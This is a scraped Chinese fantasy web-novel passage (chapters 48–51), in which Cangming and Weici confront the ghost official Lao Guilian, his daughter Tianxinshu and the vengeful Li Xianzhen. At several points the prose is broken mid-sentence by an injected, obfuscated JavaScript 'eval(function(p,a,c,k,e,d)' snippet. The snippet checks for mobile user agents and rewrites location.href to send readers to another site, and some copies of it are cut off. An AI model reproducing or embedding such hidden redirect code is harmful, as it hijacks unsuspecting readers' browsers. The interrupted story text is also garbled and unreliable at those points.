“没有的事。”游霄一个劲摇手,“要不是道长大人你,我早就被绣花鞋做成那种东西了,你是我的救命恩人呢。” 一旁的未辞不轻不重地咳了一声,揽过苍名的腰,把头埋在她耳边轻轻说道:“将军,我吃醋。” 耳边被热气呵得直发痒。在那只温热大手的覆盖下,酥麻的感觉从腰间扩散出去,传遍全身。苍名的呼吸都停滞了一瞬间,才拍了拍他的头说:“难怪妖王动不动就在洞里闪现,我还以为是我看花了眼。” “怎么会花眼。”未辞不依不饶地低声讨伐道,“除了我,还有谁是如此身形飘逸、面目俊朗、剑眉星目的吗?” 游霄眼巴巴地看着这两人,苍名双颊飞红,悄悄在未辞腰间捏了一把。未辞闷闷地哼了一声,终于放开了苍名,脸上看起来倒是十分愉悦得意。 “道长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304178|165173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,你们真是一对璧人!”游霄双手交握,又激动又不安地说,“我们快走吧,这里越来越冷了……” 不论洞中四壁,还是案几茶具,都悄无声息地蒙上一层白霜。茶室中的空气忽然冰冷刺骨。 未辞用身体温暖着苍名,懒洋洋地说:“有人来了。” 苍名一剑挑过躺在一旁的隔音屏风,三人躲在屏风后,游霄冻得瑟瑟发抖。屏风里面能观望外面的动静,外面却一时听不见里面的声音。 远远地,有细微的说话声从地道那边传来。 “大王,留神脚下。”这是副将判木的声音。 “贵客到来,有失远迎,快快请进。”这是壁画门童的声音。 “什么蠢东西,怎能叫贵客,这是咱家大王!”副将似乎在呵斥门童,又对什么人解释道,“大王,这些壁画还会进一步修正完善,将来不光能认人,还要有密令才能放人通行。” 终于,有个凌厉而冰冷的女声问道:“修了几重了?” 是天心沭的声音。 副将大声答道:“回大王,这里的地宫修了十重,深山里的地宫修了二十重,将来还准备将两处地宫贯通,让大王足不出户,便能恣意穿梭于铜铎山底!” 静了一下,天心沭似乎忍住了骂他的冲动,音调不带起伏地说:“你先行到西南修筑宫殿,功劳不小,赏黄金千两,侍从五个。若有随你来出苦力的士兵,赏白银千两,珠宝两件。” “是!大王!谢!大王!”副将山呼万岁,“大王英明,大王必将称霸三界——啊!” 这一声崩溃的嘶吼几乎近在耳边。副将引带着天心沭行至茶室,发现墙壁被人炸开,砖头飞了满地。 苍名透过屏风缝隙望去,副将伸手化出长矛,怒不可赦地吼道:“谁人造次!” 一双鲜红色绣花鞋缓步走进茶室。天心沭法力复原,雪雕身躯重新变得高大强势,白色眼珠环视一圈,冷笑道:“西边被捆着的那个,不就是么?” 副将定睛一看,果然看到有个人窝窝囊囊地蜷缩在墙角,立刻上去将他拎起来:“你是谁!” 鬼官眼睛转来转去,就是不答话。 天心沭的雪白眼睛死死盯着他:“谁派你来抢铜铎山的?” 屏风这头,苍名心生疑惑,拿不准天心沭是否真的伙同老鬼莲狼狈为奸。她向未辞看了一眼,未辞也刚好看过来,向她歪了歪头表示不懂。 天心沭似乎真的不认识眼前的亲爹了。即便老鬼莲用了易容术,父女之间也应该彼此心领神会,苍名心想若是未辞变换容貌,她八成还是会认出来的。 “我,是西南当地的庶民,采山时误入此地。”鬼官似乎也不想认这女儿,还装作不熟的样子。 “拿去卖掉。”天心沭一甩下摆,坐在太师椅上,随手拿起玉石茶盏。 这时只听门童又远远报道:“贵客到来,有失远迎,快快请进。” 屏风外的三人一愣,屏风里的三人也一愣。 不多时,一个女子带着一位瘦弱少年快步冲了进来,那女子手中还拿着个圆圆的物件,苍名一眼看出那是天心沭的识怪罗盘。 啪地一下,玉盏掉在地上摔了个粉碎。天心沭站起来,失声喊道:“师姐!” 48. 新仇并旧恨 李弦真风尘仆仆,面色黯淡,一冲进来先看见天心沭顶天立地站在厅中央,猛地刹住脚步。她身后跟着花怡,苍白的瘦脸已经晒成深色,背着一个包袱,看起来更加沉默寡言。 天心沭大步过去,伸手又要拉她袖子,又不敢真拉,犹犹豫豫道:“师姐,怡儿!” 李弦真的头发又白了不少,眼角和嘴角都是皱纹,此刻厌恶地盯着天心沭。而屏风后的苍名紧紧攥着袍子,此刻厌恶地盯着李弦真。 李弦真的相貌轮廓,果然和李重山夫妇的陶人有些神似之处。恨意席卷了苍名,像野火烧山一样,以至于她有一瞬间真想当一次毁天灭地丧门星。未辞的手覆盖上她的肩膀,温热得像春季阳光照在身上一样。 游霄蹲在一旁,两手握成筒状放在两眼前,认认真真地从缝隙里观察外界动向。 李弦真甩手推开天心沭,跟随识怪罗盘的指针转来转去,最后停在那位鬼官的面前。她狐疑地打量着鬼官,从墙上掰下一根红烛,照着罗盘细看了一会儿,说:“没错啊?” 越过她的肩膀,苍名看见罗盘上赫然出现一朵莲花的形状。鬼官阴恻恻地一笑:“你找错人啦。” 莲花一出,天心沭突然识破了鬼官的身份。顿时,天心沭左顾右盼,神情紧张焦虑,举手命令副将上前:“把这东西拖下去,关起来。” 李弦真大喝一声:“别动!” 天心沭颤巍巍说道:“师姐!他……” 李弦真用红烛指着地上的鬼官,大骂道:“他就是偷我文章的狗官!” 此言一出,全场震惊。 李弦真横眉冷对,厉声说:“好啊好啊,你这么多年竟没有一丝变化,而我却沦落至此……” 天心沭迟疑道:“这人的面目如此简陋零碎……你是怎么认出来的?会不会认错了?” 那一脸模糊的鬼官突然放声喊道:“东墙有人!东墙有人啊——” 砰地一声,屏风被苍名一脚踢飞。天心沭和副将回头一看,见苍名长身玉立、面色冷峻,身后还跟着法力高强的小白脸,顿时都是一副见鬼的表情。 而李弦真手里的罗盘,开始疯狂转动,最后指向苍名,莲花图案变幻为一朵六角雪花。 苍名低声说:“未辞,保护好游霄。”未辞从鼻子里闷闷地嗯了一声,随手给游霄设了个护体结界。 李弦真定定地看着苍名,脸上慢慢绽开一个难以置信的笑容:“小妹子,是你啊!你果然来帮我了么?” 苍名目光复杂,久久直视着她,脸上没有半点笑意。李弦真的笑容僵硬了,脸上露出困惑的神色:“道士妹子,你不认得我了?是不是我老了太多,把你吓着了?我托你看管的那对陶人,都还好吧?” 而石室的那一边,天心沭咬着后槽牙,对苍名一字一顿地崩溃道:“为什么,每次砸我洞府的,都是你。” 苍名苦笑道:“我也不知道啊。” 未辞优雅地抱起手臂,说:“阁下亟待解决的,是令尊这个老废物的事吧。” “住手!”天心沭出手阻拦,但已经迟了。鬼官的脸一寸一寸变回纸糊的面孔,丹青画的五官显露出来,仿佛一张人皮面具被强行剥落,疼得他呲牙咧嘴。 而未辞只是始终勾着唇角,玩世不恭地笑着,连手都没抬一下,法力已至出神入化之境。 老鬼莲那张虚情假意的笑脸,出现在人们面前。 李弦真浑身一震,难以置信,睚眦欲裂。而花怡抱着头惨叫一声,咣当一下摔倒在茶几边,浑身抖得像过筛子一样。副将急急忙忙跑上前去,和声细语地宽慰花怡。 “杀了他!”李弦真搬起一把椅子,朝老鬼莲狠狠抡去,天心沭尖锐地惊叫起来,却进退两难,不知该不该阻拦。 老鬼莲碍于全身被捆着,脑门上结结实实挨了一下,却依旧嘻嘻笑道:“没用的,哪怕我的头被砸掉,也会长个新的出来。” 李弦真一声怒号:“怡儿,你还等什么!”就扔下椅子,伸手去摸腰间悬挂的短刀。天心沭一把抱住李弦真,跪地哀求道:“师姐!你刺他一百刀也好,但……留他一命吧。” 老鬼莲呸了一声:“谁要被扎一百刀,有你这样的女儿么?” 天心沭一边和李弦真对抗撕扯,一边回头绝望地吼道:“你为什么对那孩子做那种事!又为什么成了狗官!” “你做女儿的,怎么总是不跟爹爹一条心呢,恩?”老鬼莲像蛆一样扭动着坐起来,残忍地哂笑道,“修了这么好的宫殿,也不叫爹爹来住,还是我自己摸来的呢。” “所以,你是不是他们的人?”苍名冷冷插了一句,双眼炯炯地盯着天心沭,“令尊和他的主子在这山里为非作歹,阁下可有所耳闻?” “哪个主子!”天心沭彻底爆发,对老鬼莲劈头盖脸吼道,“你又在外面干了什么!” 李弦真则在锲而不舍地冲破天心沭的包围,扯着脖子嘶喊道:“畜牲!” 场面乱成一团。游霄悄悄地爬过去,和副将一起照应着抽搐的花怡。苍名头疼地揉着眉心,觉得此案盘根错节,实在难断,不如直接把老鬼莲杀掉算了。 然而,如果不彻查清楚就屠杀妖鬼,最终会不会倒扣功德、永世不得成神,苍名也没有把握。 她强忍着烦躁,决定还是按以往的程序来。于是出其不意地扬出一把树叶黄符,凌空而起,长剑斜斜向下挥去,一招流风回雪,黄符打着螺旋飘落,如同一场龙卷风一般,天心沭和李弦真被定在原地,一时不能行动。随即,六角雪花法阵也如渔网般从天而降,将二人困在正中央。 未辞的眼睛亮了,默默凝视着苍名的身影,抚掌赞叹道:“将军行云流水,一气呵成,果真比从前更加利落强壮了。” 苍名剑指老鬼莲,义正言辞道:“你罪名又加一等,还不快将你为官经历从实招来!” 老鬼莲慢条斯理地说:“不错,我凭着才华谋略,已身居要职,坐享高官厚禄,你们若是杀了我,朝廷中会震怒的。到时朝中下令对天下道士赶尽杀绝,可别怪我没提醒过你。” 苍名冷冷地说:“休得放肆,朝廷还管得着本仙人不成? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苍名几乎大吃一惊,剑尖直抵他的喉咙,怒不可赦:“你的意思是,你一个□□无辜的淫贼,竟参与了当朝律法对□□之罪的认定!” 那淫贼用一种近似唱歌或咏叹般的声音规劝道:“你这仙人落魄得不成样子,还不如一介草民,何不弃暗投明,入我麾下?想要什么功名利禄,易如反掌。” 不等他开口唱那些扰乱人心的小调,苍名用剑刃平拍到老鬼莲的嘴上:“老实点!” “将军若想要什么东西,交给我就是了,某些人真是不自量力。”未辞漫不经心地说,“将军,他不会说实话了,直接抓了吧。” 苍名点头:“也好,我们自己顺着他的官邸去排摸活人。” 砰地一声,六角雪花法阵中白烟滚滚。有一瞬间,苍名以为雪雕爆炸了。接着,天心沭挟着冰霜从白烟里现身,一手解开李弦真身上的黄符,一手召起满地石块。 大大小小的乱石飞上半空,咔哒一下组成了巨大的骷髅法阵。骷髅张开空洞的大嘴,向苍名一口咬来。 49. 花怡何曾怡 不等骷髅近前,苍名就将之一剑挥开。和剑锋一同劈出的,还有未辞刚劲凌厉的拳掌。 天心沭全神贯注,驱动着怪石拼成的骷髅阵,一而再再而三地向苍名袭来。趁着苍名和未辞联手对抗骷髅的间隙,老鬼莲悄悄骨碌过去,借着骷髅的巨手割去身上的束缚。 “站住!”苍名一串剑花如雨,招招都刺向老鬼莲的要害处。未辞默契地补上缺位,独自应付骷髅,一掌劈得骷髅震荡散架。 趁着一片混乱,李弦真挺起短刀,埋头冲向老鬼莲。重新聚合的乱石骷髅,伸出骨头手臂将她挡了回去。 李弦真叫道:“妹子,求你帮我!” 苍名转身和未辞一起回击骷髅,忍无可忍地喝道:“李重山那对狗男女杀我父母,你窝藏他们,对得起良心吗?你今日的境遇,全是他们的报应!” 李弦真惊呆了,顿时一张脸灰如土色。她木然地看了一会儿苍名,发出一声刺耳的尖叫,紧握短刀向她一头撞来:“你把他们弄到哪去了!” 苍名轻松地转身错开,李弦真差点一头撞上洞壁。苍名厌恶地说:“我不跟凡人动手,别让我再看见你。” 呲啦,呲啦。老鬼莲不知从哪里撕下两条轻纱,像挥舞水袖一样甩了过来。苍名反手刺去,不成想老鬼莲像泥鳅一样一钻,滴溜溜地绕过苍名,直取李弦真性命。 时间的流速,就在这一刻被放慢了。呼啸的风声和混乱的叫声,都像是从远远的地方传来的。轻纱如闪电般游向李弦真,仿佛水蛇吐着信子。苍名失神地看着,手脚却僵在原地,一瞬间想要仗剑相助,一瞬间又觉得李家本该灭门。 天心沭断喝一声,驱动骷髅法阵前来救援,未辞一个旋风转身,利落地踢向怪石骷髅。天心沭左支右绌,一时不能抽身。 副将从半空里弹了出来,手持长矛,一边扎向纱带,一边大声喊道:“使不得!老爷,得罪了!”还不等他得罪,长矛便已脱手。两条轻纱卷着尖锐矛头,一起杀向李弦真。游霄害怕地闭上了眼睛,满脸都是悲悯。 一声凄厉的惨叫响彻地宫。回声彼此叠加,嗡嗡地来回反弹。老鬼莲抱着头满地打滚,吱哇乱叫。而李弦真惊慌失色,却毫发无损。 花怡手里握着一把烧水用的大水壶,站在原地喘气,胸口上下起伏。壶里的水带着冰碴,结结实实地泼在了老鬼莲的头上。 老鬼莲的纸糊脑袋被浇得面部全非,头上那把莲花扇子也被水流的冲击力打歪了。 生死关头,花怡爬起来拯救了李弦真。 当啷一声,苍名手里的长剑掉落在地上。她垂下头说:“我还是无法求道。” 花怡直挺挺地逼视着老鬼莲,眼睛里迸发出一线生机。自从苍名认识他以来,他的眼睛从来没有丝毫神采,这是第一次,那双眼睛灿若晚星。 李弦真泪光闪动,大喊一声:“好怡儿!泼他的纸糊脑袋!” 花怡转头就奔到茶室一角,一手拎起一壶,再次气势汹汹地杀了回来。他似乎真的从复仇中找回了灵魂,从此再也不会碎裂和软弱了。 老鬼莲拔下脑袋,抱在怀里,满地撒泼打滚,口中乱叫道:“好女儿,我的亲女儿,你就不管管你老子啦!” 未辞抱起手臂,津津有味地站在一旁看起热闹来。骷髅法阵哗啦一下碎成一地石块,天心沭冲上来拉着花怡,李弦真大声说:“怡儿,快泼!” 副将左摇右摆,两头乱跑,这会儿又站在了老鬼莲一边,对花怡说:“使不得!少爷,得罪了!”说着就要用长矛挑开花怡手里的水壶,但被李弦真一脚踢开。 游霄只是一味地摇头,叹息道:“冤冤相报,冤冤相报。” 天心沭怨恨地看着李弦真,说:“师姐,你能不能留他一命?” 李弦真眼里冒火:“你竟然还在护着他?他难道对你很好么!” 天心沭的白雪眼中滚出几颗冰晶,梗着脖子质问道:“那么,你的父母连名字都不给你,难道就对你很好么?可你还不是也在奉养他们!” 李弦真的嘴唇哆嗦起来,说:“我没得选。” 天心沭说:“师姐,我瞧不起你。” 李弦真刚想再说什么,花怡拎起水壶扔了出去,把老鬼莲手中的纸脑袋浇了个稀烂。 苍名低头去拾起长剑,冷冷地说:“够了,今日也该……” 咚地一声,一颗花里胡哨的头狠狠撞在花怡胸前,头上戴着的扇面如一把刀一样深深切入体内。老鬼莲装疯卖傻,出其不意,把头掷了出去。 花怡难以置信地低头看着胸前,轰然倒地不起。 李弦真睁大眼睛,叫了一声,却没有发出任何声音。 花怡死了,死在他找回了活着的力量之后。 苍名还维持着弯腰的姿势,呆呆地看着迅速化为尘土的花怡。老鬼莲的扇子上带有邪门密术,让尸体瞬间就灰飞烟灭了。这样的死法,很难保留完整的灵魂,花怡或许不会成为冥界的一只新鬼了。不论怎样,苍名相信,在花怡死前的短暂时间里,他的生命重新蓬勃燃烧过了。 未辞无言地看着这场惨剧,眼睛变得更加狭长幽深,像两道沉沉的山谷。 接着,李弦真疯了似的冲向无头的老鬼莲。天心沭挡在她身前,盲目地喊道:“师姐不要送死!” 老鬼莲卷起地上的头,飞也似的穿越层层石门向外逃去。被他的脚踏过的地方,迅速长出一朵朵比人还高的巨型莲花。 苍名一路穷追不舍,一把长剑舞得如雨丝狂飞,一道道剑光像流星群划过夜空。剑到之处,莲花招摇躲闪,一会儿千娇百媚地散开,一会儿又从苍名背后合拢,花样繁多,十分难杀。 未辞自觉地殿后,一手挟着游霄,一手懒洋洋地劈开天心沭的进攻。李弦真还跪在山洞里,拼命用手聚拢地上的尘土,徒劳地挽留着花怡的痕迹。 终于将最后一只莲花拦腰斩断,哪里还有老鬼莲的踪影。苍名一口气冲出山洞,铜铎山艳阳高照。此刻距离进入地宫时,仅仅过去了两柱香的功夫,日影移动了几寸,却已经物是人非。 山里有奇门遁甲,老鬼莲不知撞破了哪道门,这会儿早就给传送到山中的某处。苍名不敢随便乱跑,焦急地原地打转。未辞背着手踱了出来,后面跟着面色惨淡的游霄。 苍名拉住未辞的袖子,焦急地说:“未辞,你能不能带我去追他,我不认路……” 未辞闲闲地说:“将军何必着急。铜铎山中法阵强大,凭那老鬼的道行,必然无法凭借瞬移术逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这个,道长大人你玩过水晶弹珠吗?我小时候为了让弹珠落到我想要的地方,就把它磨出了许多面。”游霄若有所思地捧着青脸回忆道,“这样,它落地后就不会随便滚动了。弹珠的每个小小的面,都折射着不同的光,真是神奇极了。” 苍名看着游霄,不解其意。未辞不悦地看了游霄一眼,走到苍名对面蹲下。 一时间三人都蹲着,游霄开口道:“我想,这种弹珠就像一个人一样。你看到她不同的面,感受是不同的。那位小姐或许也颇有一些好的面,但你刚好看到她丑陋的一面,不想救她也在情理之中。” 苍名慢慢转头看着游霄,真心地说:“游霄,有你这样善良的朋友真好。” 游霄说:“当然啦!” 苍名站起身,未辞立刻伸手揽住她,贴心地为她挡着风。苍名说:“把天心沭和李弦真放了好啦。” 未辞问也不问便一挥手,三个人偶原地旋转起来。 砰地一声,白烟阵阵,天心沭的高大身影和李弦真的衰老背影在烈日下摇摇晃晃,两人都晕头转向。副将还在叫嚷道:“大王,有何指示!” 而苍名一行人,已经向出山的必经之路走去,将她们远远甩在身后。苍名一会儿想着花怡的脸,一会儿又对天心沭深感抱歉。 正想着,忽然听身后有人叫道:“站住,我有笔交易要做!” 50. 双舞鸿门宴 苍名神情复杂地回头看了一眼,天心沭飞身赶来,急迫地命令道:“我要跟你做一笔交易,就现在,快点!” 苍名镇定自若地说道:“以往是我误会阁下,屡次误伤,无可弥补,他日必定登门谢罪,任阁下惩处。此次捉拿令尊,无可奈何,刻不容缓。阁下当然可以出手阻拦,此乃人之常情,而我也会全力抵抗,矢志不渝。” 天心沭怒道:“你还知道你屡次挑衅?既然你欠我的,就立刻答应了我!我和你一起去捉我爹!” 这样一来,连未辞和游霄也迷惑了。 天心沭厉声说:“还愣着干什么?还不快走!你把这小绿鬼也送走,不要碍事!” 苍名迟疑道:“你确定你要抓你爹?” 天心沭指着远处两个慢慢腾腾转圈的人影,质问道:“你看不见现在出了多大的事吗?我不能不给师姐一个交代。” 李弦真神志迷乱,两只脚站立不住,由副将搀扶着。天心沭遥遥挥手,示意副将护送师姐离开铜铎山。 李弦真问副将:“是去找怡儿吗?他去哪了?” 副将为难地说道:“这……是……” 李弦真立刻揪着副将说:“快带我去找他,他夜里自己跑出家门,很久没回来了……” 游霄又开始摇头了:“唉,作孽,作孽啊。” 副将研究了一番太阳方位,全情投入,寻找出山道路,李弦真痴痴呆呆地跟着。识怪罗盘又重新回到副将手里。他一边警惕地四处扫视,一边努力辨认奇门遁甲法阵的机关。天心沭皱眉看着她这位部下,满脸都是信不过的表情。 未辞轻笑一声,在苍名耳边说:“他们把每道门都闯过一遍,大概也就能出山了。” 天心沭烦躁地看着苍名,斩钉截铁地说道:“我帮你抓他,你留他一命。至于怎么镇压随便你,我已受够了!我不能总给他收拾烂摊子!你听懂了没有?” “……”苍名无奈地笑了,“我不知你这是在诈我,还是在说真心话。若你执意要插手,我也没法不同意。我说了,你可以从中阻拦,而我也可以坚持正义。” “那就做。”天心沭用雪白瞳孔盯着苍名,“他不是贪恋美色么?我军团不是来此地修宫殿么?派他们扮一场风月大会,那老东西就算死也会来的。” 苍名的确有些心动了。她看了看未辞和游霄,未辞无所谓地吹着口哨,游霄说:“也不失为一种好办法呢。” 苍名下定决心道:“好。” 游霄真诚地说:“那么,我也要出一点力的,我让老头送我们过去好了!”仿佛是默契的接应一般,远处响起草叶被拨开的声音。层峦叠嶂,树木繁茂,幽灵船从群山里滑行出来,稳稳当当地停在游霄面前。 苍名忽然好奇道:“老头它好像认得山里的路呢,竟能在铜铎山法阵中畅通无阻。” 游霄说:“老头行走江湖很多年了,比我爷爷年纪还大呢,从前似乎也是参加过四大流派的英雄会的。” 苍名啧啧称奇:“厉害啊。” 游霄上了船,对远处继续打转的副将和李弦真招手道:“上来吧,我送你们一程。” 苍名不厚道地想,这样大概也算是手握两枚人质了。幽灵船载着众人,顺风航行,很快就深入山脉之中。 天心沭背着手站在船头,临风长叹一声,竟有点说不出的惆怅。苍名对她说:“事不宜迟,就请阁下在出山的必经之路上布设士兵吧。” 天心沭怒斥道:“闭嘴!我难道不知道要布设士兵?” “……” 幽灵船跨过数座高山,苍名趴在船头栏杆上,心事重重地看着昔日炙手可热、如今荒无人迹的铜铎山。从前铜铎派弟子在山中修行音律,可谓五步一段钟声,十步一段鼓点,交相辉映,热闹非凡。 现在这山竟然由女妖从野鬼手里抢来,被挖出若干地道,真是斗转星移,令人唏嘘不已。 未辞慢慢从她身后贴上来,两手抓着栏杆,将苍名环在中间。 苍名在唇上涂了传音唇脂,一对传音耳环也戴上了耳畔。她默默传音道:“未辞,我问过钟无期的债主鬼,债主鬼说,从他手里抢山的,是个白衣服的人。” 未辞半真半假地哼了一声,略带委屈的声音传入苍名脑海中:“将军那时怀疑是我么?” 苍名心虚地传音道:“那会儿是我不知天高地厚,妖王殿下活了千年,称霸三界,四方来朝,想来你什么好东西没见过,怎么会惦记铜铎山呢。” 未辞听得很受用:“说下去。” 苍名却话锋一转:“所以,抢山的大概是天心沭了。” 未辞难过地说道:“将军这样误会我,我心如刀绞。” 苍名在他的包围圈中转过身来,向后靠在栏杆上,抬头看他的眼睛。方寸之间,几乎听得见彼此的心跳。未辞高大的身影压了过来。 清凌凌的声音,在苍名脑海中戏谑地问道:“将军会补偿我么?” 苍名退无可退,如实回答道:“会。” 未辞笑了一声,终于不再逗她。 夜半时分,乱云当空,无星无月。铜铎山余脉阴风阵阵,一改春和景明的况味,冷得像深秋一样。 大块山石下,茂密草丛里,都埋伏着天心沭的手下。无数虾兵蟹将,打扮得花枝招展,脸上盖着一片白纸,纸上画着俊俏的脸。他们身上散发出的阴气,把和暖的地气都给冲散了。 为了不给众人添乱,游霄主动要求呆在船里看守李弦真。那艘幽灵船就停在显眼处,给装上了无数彩旗、纱幔和蜡烛,打扮得傻里傻气,冒充青楼的画舫。 兵团之后,密林遮天。天心沭稳居正中,身后跟着副将。苍名和未辞则各自把守一边,三人成包围状,封住了出山的路。 埋伏到夜色愈发浓郁时,野草晃动碰撞的声音不易察觉地变强了。一个粉白色身影自万叶丛中穿过,即便是借着船上的数十点微弱烛光,苍名也清楚地看见那是变回原样的老鬼莲,头上戴着那把杀死花怡的扇面。 苍名在心里冷笑了一声。未辞也学着她的音调冷笑了一声,经由传音耳环,直达苍名心底。 老鬼莲走到百步开外时,山里忽然热闹非凡。一阵沙沙声,无数袅袅的人影如抽枝展叶般升腾而起,有的摇着扇子,有的高高举起酒壶向口中倾倒琼浆玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不等水袖收回来,一壶酒兜头盖脸地泼在他的纸糊脑袋上。老鬼莲惊叫一声,松开了那几只僵尸,一边用袖子擦拭,一边嗔怪道:“哪个小淘气。” 苍名手里掂着另一壶酒,躲在野草后冷冷地看着。未辞的笑声传入脑海中:“将军泼得好准。” 随着一阵阴风,满场的妖鬼飞速旋转起来。也就是在同一时刻,天心沭和苍名飞身而出,腾空起舞,仿佛这一群俊俏小生中的头牌。 天心沭的雪雕身躯上披了一件大红衣衫,红色丝绸蒙面,头上戴满了从副将头上拔下来的时令花卉,全然看不出真实身份,只像个高大的俏郎君。 而苍名换上了未辞的衣服,又将头发紧紧盘起来,戴着兔脸面具,把老鬼莲迷得神魂颠倒。 老鬼莲的眼睛已经被流淌的酒浆洇湿了,水墨晕染开来,他胡乱抹了一把,尽管看不清楚眼前景物,还是击掌喝彩道:“哪里来的孩子,真是好身段!” 天心沭和苍名浑若未闻,舞得益发精彩绝伦。天心沭赤手空拳,跳的是李弦真教她的掌法。苍名一手持剑,舞得风生水起。 刹那间云破月来,满山光明。苍名高高腾起,倒踢紫金冠,长剑斜斜向下挥出。 按照事先的约定,这是两人合力进攻的暗号。 但天心沭,却突然不见了。 51. 乱阵生叛变 此时,满场的身影都舞得超然物外,天人合一。只见无数梨园翘楚甘当配角,所有的配角组成了海潮般的背景,而唱主角的必然只有苍名。 天心沭釜底抽薪,临阵脱逃,把场子晾在了月光下。借着白沙一般的月光,老鬼莲看清了每位“梨园翘楚”的样子,立刻打了个哆嗦。 然而,他的目光很快又回到苍名身上,轻声细语地说:“我明白了,你这淘气的。这些奇形怪状的小鬼头,都是为了衬托你吧?真是用心了。” 天心沭跑了,副将却还浑然不觉,兢兢业业指挥着鼓乐的小兵。乐声一挑,转入昂扬清越的曲调。苍名随机应变,在台前又随意挽了几个剑花,便如游龙戏水般起势动形,一个亭亭的潇洒转身,混入无数配角之中。 无数梨园翘楚升空坠地,起起落落,犹如人浪。苍名足尖踏着一连串巨石前行,双臂舒展,如同过独木桥一样轻快俏皮。而周围的涌动人潮,恰似桥边熙熙攘攘的集市。 一众配角各自扮演背景角色,变幻有序,和而不同,舞得像一场大戏。有的仿佛在沿街叫卖鲜花,有的好似在聚众比武,又有一群起舞弄月的,演的是春季的庙会。 一派热闹非凡的市井中,苍名一掀下摆,斜卧在岩石之上,摇扇倾酒,物我两忘。 老鬼莲看得心花怒放,欲罢不能,利落地一甩手,两条水袖收回来,在腕上整整齐齐地叠成几叠。他伸着两只枯瘦的手,拨开层层配角的海浪,向苍名摸了过来:“小郎君,何不把这累赘的面具拿掉?” 无需多言,未辞发动了埋伏。一页一页的银白色飞鸥,忽地从群山深处无声飞来,像一阵流星落向大地。那些飞鸥纤薄如纸,在月光下隐约闪烁着淡淡的墨痕。 倏然间墨痕凝聚成水珠,从白鸥上飞出,拖着碎银般的光尾,向老鬼莲万箭发射。 老鬼莲顿时被打得浑身墨点,倒地抽搐。更有一把黄符向他洒来,噼啪炸出火光,一碰到他满头满脸的酒痕,瞬间腾起熊熊火焰。 他紧紧捂着烧起来的纸脑袋,面目扭曲,嘴巴大张,叫不出声,这才明白自己遭受伏击,落入陷阱。扇面上的莲花都烧成了碳,老鬼莲的弱点,一个是纸颅,一个是贪嗔,最终将他置于死地。 曲终人散,乔装打扮的军团呼啦一下就作鸟兽状撤退了,四下里再无纷纷起舞的清影,一出大戏顷刻落幕。 空旷山中,只有苍名的身影一跃而起,倒挂金钟,高高地举起方才用来倾酒的道具坛子:“收!” 老鬼莲现出了真形,慢慢变成了一个破烂的布娃娃,与真人一样大小,身躯和四肢都是一层一层的白布卷出来的,脑袋是用纸团糊的。 苍名举着坛子,百感交集。老鬼莲的真身哪里是出水莲花,他分明就是个布人!那是用于民间邪术的布制人偶,上面扎几根针,就能实现简单的诅咒。 破烂布娃娃颤颤巍巍地飘了起来,眼看就要被坛口收进去了。 “当心!”未辞一记飞鸥扔出来,扑通一声打在什么东西上,激起一阵珠玉碰撞声。 苍名转头一看,一只巨大的金珠骷髅向她袭来,一只爪子已经伸到近处,刚被未辞打退。 副将大喊一声:“大王!”便扔下军团前去接应。天心沭偷偷跑走,潜入地宫,将金珠珠帘召集成骷髅阵,卷土重来。 苍名一脚踢开骷髅的魔爪,一群飞鸥俯冲过来,穿透了骷髅阵,骷髅稀里哗啦碎了一地。 待要对抗重新集聚的骷髅,苍名忽然觉得不妙,转头一看,老鬼莲的原身果然不见踪影。趁着骷髅偷袭苍名、未辞出手阻拦的一瞬间,天心沭抄起老鬼莲纵身逃远了。 “站住!”苍名气得几乎厥过去,三跳两跳追了上去,未辞默契地留下守船,船上的游霄跑出来惊叫道:“李小姐不见了!” 李小姐当然不见了。天心沭一手夹着只剩一口气的老鬼莲,一手夹着痴痴傻傻的李弦真,不顾一切地疾驰猛冲。 副将拼命追逐,想要伸手去帮忙托着那两人,但指尖总是差了几寸够不到。 苍名穷追不舍,气势汹汹地喊道:“天心沭,把老鬼莲留下!” 天心沭头也不回地叫道:“他已经被打回原形,我就带走了!” 副将虽然一头雾水,但仍然帮腔道:“大王带走了!” 苍名挺剑刺去,急急布设法阵。六角雪花如一片辽阔星斗般降临,笼罩了寂静的铜铎山。未辞不禁喝彩道:“好!” “你这无耻杂碎!”天心沭被困于阵中,只求脱身,走为上计,疯狂大骂,“他已经现了原形,法力全失,还不够么!我要拿回去放着!” “我会将他镇压在山下,和你放着有什么区别?”苍名连连出招,不忘晓之以情,动之以理,“你的心,我理解……” “你他妈理解什么!”天心沭飞身躲避剑锋,雪白的躯体上已经被雪花法阵灼烧出深深浅浅的黑印,“落入你这道士手里,还能有好?” 副将掩护着天心沭,长矛忽挑忽刺,大声应和道:“不能有好!” 天心沭拖着老鬼莲和天心沭转来转去,躲避着凌厉的剑气。一个急转,李弦真被甩过去,和老鬼莲撞了个面对面。 那一刻,她的眼睛睁大了,瞳孔十分清澈,好像突然恢复了意识。几乎想都没想,她抽出短刀豁开了布娃娃。 几乎被划成两半的老鬼莲,用最后的力气发出一声微弱的惨叫,就软绵绵地倒下了。 